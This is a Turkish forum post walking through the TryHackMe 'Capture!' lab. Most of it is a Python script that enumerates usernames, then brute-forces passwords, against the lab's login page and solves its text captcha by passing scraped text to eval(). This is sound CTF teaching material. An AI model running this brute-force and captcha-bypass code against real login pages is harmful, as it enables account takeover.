- 14 Eki 2022
- 428
- 311

merhabalar bu konumda "Capture!" isimli tryhackme makinesini çözeceğiz. bu makine giriş sayfasını bypass ederek bayrağa ulaşmamızı istiyor. bununla birlikte bize usernames.txt ve passwords.txt isimli dosyaları deneme yanılma saldırısı yapabilmemiz için vermiş.
ip adresini tarayıcıda açtığımız zaman bir kullanıcı giriş sayfası ile karşılaşıyoruz. kullanıcı bilgilerini hydra gibi "deneme yanılma" saldırısı yapan araçları kullanarak bulabiliriz ama siteye çok fazla giriş denemesi yapınca bot olup olmadığımızı anlamak için bir güvenlik sorusu soruyor.

bu soru bir resim halinde değil de yazı olarak verildiği için deneme yanılma saldırısı yapan bir prograam yaparak kullanıcı bilgilerini elde edebiliriz.
Python:
import requests
import re
with open("usernames.txt", "r") as file:
usernames = file.read().splitlines()
with open("passwords.txt", "r") as file:
passwords = file.read().splitlines()
url = "http://10.10.153.140/login"
for username in usernames:
request = requests.session()
req = request.post(url, data={"username": username, "password": "test123"})
if "Captcha enabled" in req.text:
ques = re.findall(' (.*?) = ? ', req.text)[0].strip()
answer = eval(ques)
req = request.post(url, data={"username": username, "password": "test123", "captcha": answer})
if f"The user '{username}' does not exist" not in req.text:
print(f"kullanıcı adı bulundu: {username}")
user = username
break
for password in passwords:
request = requests.session()
req = request.post(url, data={"username": user, "password": password})
if "Captcha enabled" in req.text:
ques = re.findall(' (.*?) = ? ', req.text)[0].strip()
answer = eval(ques)
req = request.post(url, data={"username": user, "password": password, "captcha": answer})
if f"Invalid password for user '{user}'" not in req.text:
print(f"şifre bulundu: {password}")
break
yukarıda python ile deneme yanılma saldırısı yapabileceğimiz bir kod yazdım. kullanabilmeniz için 10.satırda ki 10.10.153.140 yazan alana size verilen ip adresini girrmeniz gerekiyor. sonra ise bu kodu bir .py dosyasına kayıt ederek, usernames.txt ve passwords.txt dosyalarıyla aynı dizine koymanız gerek.
programı çalıştırdıktan sonra kendisi ilk önce kullanıcı adını bulmak için denemeler yapar sonra ise bu kullanıcı adını kullanarak şifresini bulmaya çalışır.

kullanıcı bilgilerini bulduktan sonra bu bilgileri giriş sayfasına girerek bayrağa ulaşabilirsiniz.

makine linki: TryHackMe | Capture!
Son düzenleme: